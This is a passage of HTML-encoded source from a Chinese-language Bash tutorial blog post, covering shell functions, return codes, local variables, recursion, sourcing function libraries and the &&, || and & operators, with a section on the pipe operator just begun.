&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;$2&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# 使用 local 定义局部变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt; + &lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt; = &lt;/span&gt;&lt;span class="nv"&gt;$sum&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数并传递参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;add &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;5&lt;/span&gt; + &lt;span class="nv"&gt;3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142651984" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142651984.png"&gt;&lt;/p&gt;
&lt;h3 id="3-返回值"&gt;&lt;strong&gt;3. 返回值&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Bash 函数通过 &lt;code&gt;return&lt;/code&gt; 返回 &lt;strong&gt;退出状态码&lt;/strong&gt;（0 表示成功，非 0 表示错误），或通过 &lt;code&gt;echo&lt;/code&gt; 输出结果。&lt;/p&gt;
&lt;h4 id="示例-3返回状态码"&gt;&lt;strong&gt;示例 3：返回状态码&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查文件是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;file_exists&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# 文件存在，返回成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 文件不存在，返回失败&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 调用函数并检查返回值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; file_exists &lt;span class="s2"&gt;&amp;#34;/etc/passwd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;文件存在！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;文件不存在！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142750036" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142750036.png"&gt;&lt;/p&gt;
&lt;h4 id="示例-4返回字符串"&gt;&lt;strong&gt;示例 4：返回字符串&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成问候语（通过 echo 返回结果）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;get_greeting&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;你好，&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;！今天是 &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%F&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获函数输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;get_greeting &lt;span class="s2"&gt;&amp;#34;大黑阔&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;你好，小明！今天是 2023-10-05
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516142859752" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516142859752.png"&gt;&lt;/p&gt;
&lt;h3 id="4-局部变量"&gt;&lt;strong&gt;4. 局部变量&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;使用 &lt;code&gt;local&lt;/code&gt; 关键字定义局部变量，避免污染全局作用域。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成问候语（通过 echo 返回结果）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;get_greeting&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;globalname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;你好，&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;！今天是 &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%F&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获函数输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;get_greeting &lt;span class="s2"&gt;&amp;#34;大黑阔&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Hacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="c1"&gt;# 局部变量不可见&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$globalname&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516143423888" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516143423888.png"&gt;&lt;/p&gt;
&lt;h3 id="5-高级用法"&gt;&lt;strong&gt;5. 高级用法&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="递归函数"&gt;&lt;strong&gt;递归函数&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算阶乘（递归实现）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;factorial&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; -le &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;prev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;factorial &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nv"&gt;$prev&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算 5!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;factorial 5&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;5! = &lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 输出 &amp;#34;5! = 120&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516143630431" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516143630431.png"&gt;&lt;/p&gt;
&lt;h4 id="函数库"&gt;&lt;strong&gt;函数库&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;将常用函数保存为独立文件（如 &lt;code&gt;utils.sh&lt;/code&gt;），通过 &lt;code&gt;source&lt;/code&gt; 导入：to_upper函数实现小写转大写。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# utils.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;to_upper&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;[:lower:]&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[:upper:]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# main.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;source&lt;/span&gt; utils.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;to_upper &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516144109807" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516144109807.png"&gt;&lt;/p&gt;
&lt;h3 id="6-注意事项"&gt;&lt;strong&gt;6. 注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定义顺序&lt;/strong&gt;：函数必须在调用之前定义。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;命名冲突&lt;/strong&gt;：避免函数名与系统命令或别名重复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参数传递&lt;/strong&gt;：参数通过空格分隔，若参数含空格需用引号包裹（如 &lt;code&gt;func &amp;quot;参数 1&amp;quot;&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;返回值限制&lt;/strong&gt;：&lt;code&gt;return&lt;/code&gt; 只能返回 0-255 的整数，返回字符串或复杂数据需用 &lt;code&gt;echo&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="布尔逻辑运算"&gt;布尔逻辑运算
&lt;/h2&gt;&lt;p&gt;在 Bash 中，&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;、&lt;code&gt;||&lt;/code&gt;、&lt;code&gt;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;|&lt;/code&gt; 是常用的操作符，用于控制命令的执行逻辑和流程。以下是它们的详细解释及示例：&lt;/p&gt;
&lt;h3 id="1-1"&gt;&lt;strong&gt;1. &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;（逻辑与）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：只有 &lt;strong&gt;前一个命令成功执行&lt;/strong&gt;（退出状态码为 &lt;code&gt;0&lt;/code&gt;），才会执行后面的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkdir mydir &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; mydir &lt;span class="c1"&gt;# 先创建目录，若成功则进入该目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;mkdir mydir&lt;/code&gt; 成功（目录创建成功），则执行 &lt;code&gt;cd mydir&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;mkdir&lt;/code&gt; 失败（如目录已存在），则不会执行 &lt;code&gt;cd&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-1"&gt;&lt;strong&gt;2. &lt;code&gt;||&lt;/code&gt;（逻辑或）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：只有 &lt;strong&gt;前一个命令执行失败&lt;/strong&gt;（退出状态码非 &lt;code&gt;0&lt;/code&gt;），才会执行后面的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ping -c1 google.com &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;网络不可达&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 若 ping 失败，则提示错误&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;ping&lt;/code&gt; 失败（网络断开），则执行 &lt;code&gt;echo&lt;/code&gt; 输出提示。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;ping&lt;/code&gt; 成功，不执行 &lt;code&gt;echo&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-1"&gt;&lt;strong&gt;3. &lt;code&gt;&amp;amp;&lt;/code&gt;（后台执行）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将命令放入 &lt;strong&gt;后台执行&lt;/strong&gt;，终端可继续输入其他命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="c1"&gt;# 后台休眠10秒，终端可继续操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;命令后加 &lt;code&gt;&amp;amp;&lt;/code&gt; 会返回一个后台进程的 &lt;code&gt;PID&lt;/code&gt;（如 &lt;code&gt;[1] 12345&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;可通过 &lt;code&gt;jobs&lt;/code&gt; 查看后台任务，&lt;code&gt;fg %1&lt;/code&gt; 将任务调回前台。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4"&gt;&lt;strong&gt;4. &lt;code&gt;|&lt;/code&gt;（管道）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将 &lt;strong&gt;前一个命令的输出&lt;/strong&gt; 作为 &lt;strong&gt;后一个命令的输入&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
